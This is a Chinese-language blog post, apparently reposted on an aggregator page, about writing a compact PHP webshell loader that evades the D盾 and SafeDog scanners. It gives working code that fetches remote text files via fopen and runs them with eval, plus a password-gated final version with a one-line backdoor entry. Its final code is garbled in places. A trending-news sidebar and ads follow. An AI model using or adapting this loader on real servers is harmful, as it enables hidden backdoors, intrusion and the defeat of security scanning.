打造一款1kb大马并且处理D盾以及安全狗拦截与查杀
Prat 1 目录
一:base64编码,处理eval函数进行绕过(失败) 二:巧妙利用fopen函数绕过waf 三:fopen函数处理eval拦截问题 四:对此次一次总结Prat 2 起源base64编码,处理eval函数进行绕过(失败)之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数 于是决定开端先处理一下eval看看能不能进行绕过 eval直接执行base64解码 可以成功执行,但是被D盾报4级,这样肯定是不行的 base64编码思路宣告失败 发现D盾似乎对base64_decode()函数独有情钟- -# 不管怎么处理只能处理到二级,安全狗倒是已经过去了
<?php $a = 'base64编码过后'; $c = base64_decode($a); eval($d = $c); ?>Prat 3 失落 巧妙利用fopen函数绕过waf 发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽 不过失败是成功他亲爹,只好继续想新思路。 之前写过一篇水文,叫做隐藏在黑页下的大马。 不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。 这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。 首先我们来看一下fopen函数 fopen() //fopen()函数打开文件或者 URL。 思路 通过fopen打开远程url的txt文件存入一个变量中,在执行。 说干就干,首先把一份大马去掉<?以及?> 然后存入一个txt中,确保打开的时候能打开。 可能这里就有人问了,txt放哪里? 这里我只想说,心里没点B数?
大马地址:http://127.0.0.1/bh/test.txt举个例子:
<?php $handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r'); $content1 = ''; while(false != ($a1 = fread($handle1, 8080))){ $content1 .= $a1; } echo $content1; fclose($handle1); ?>发现已经获取成功了,那么我们只需要eval执行一下就可以了
<?php $handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r'); $content1 = ''; while(false != ($a1 = fread($handle1, 8080))){ $content1 .= $a1; } eval($content1); fclose($handle1); ?>首先看一下安全狗是否拦截
大马地址:http://192.168.1.110/bh/test.txt webshell地址:192.168.1.104/test/php.phpok,可以看见安全狗以及绕过了,并且可以正常使用 补一张没做过处理大马访问图 不过问题来了,D盾报一级拦截,我顿时想说mmp。 之前处理一句话的时候,也是经常报我一级- -# 继续抽了支烟,然后继续处理这个错误 Prat 4 希望 fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。 贴一下最后成品代码
<?php error_reporting(E_ERROR); if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){ if($_POST[$_GET['test'] == "test"){ $handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r'); $content1 = ''; while(false != ($a1 = fread($handle1, 8080))){ $content1 .= $a1; } print(eval($a1=$content1)); fclose($handle1); } $handle = fopen('http://127.0.0.1/bh/test.txt', 'r'); $content = ''; while(false != ($a = fread($handle, 8080))){ $content .= $a; } print(eval($a=$content)); fclose($handle); } ?>
一句话地址:http://127.0.0.1/bh/test2.txt webshell地址:http://127.0.0.1/bh/test.txt说一下代码
if(isset($_GET['submit']) && $_GET['pass'] == "admin")这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个
if($_POST[$_GET['test'] == "test")这一部分是用来进入一句话的,当然你也可以删掉 再来说说处理eval一级,其实很简单,我也是bypass小分队的老司机说了才知道的~~~
eval($a1=$content1);看这一行代码,相信大家就已经知道了。 Prat 5 总结 前人失效的思路不代表着没有继续扩展的意义。 多想多做多实战,发现其实waf也就那回事。 无非就是在原有的基础上加了几行代码。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 澳门是伟大祖国的一方宝地 7989558
- 2 80岁顶级富豪再婚娶33岁华裔妻子 7940410
- 3 星巴克大罢工 7874208
- 4 2024 向上的中国 7739458
- 5 赵丽颖带儿子探班 7681429
- 6 男子钓上一条自带“赎金”的鱼 7521134
- 7 美国女子在地铁上被男子点燃身亡 7494566
- 8 柳岩谈44岁女演员的尴尬 7338994
- 9 唐尚珺35岁读大一 7273433
- 10 武警江西省总队原总队长施文求逝世 7183898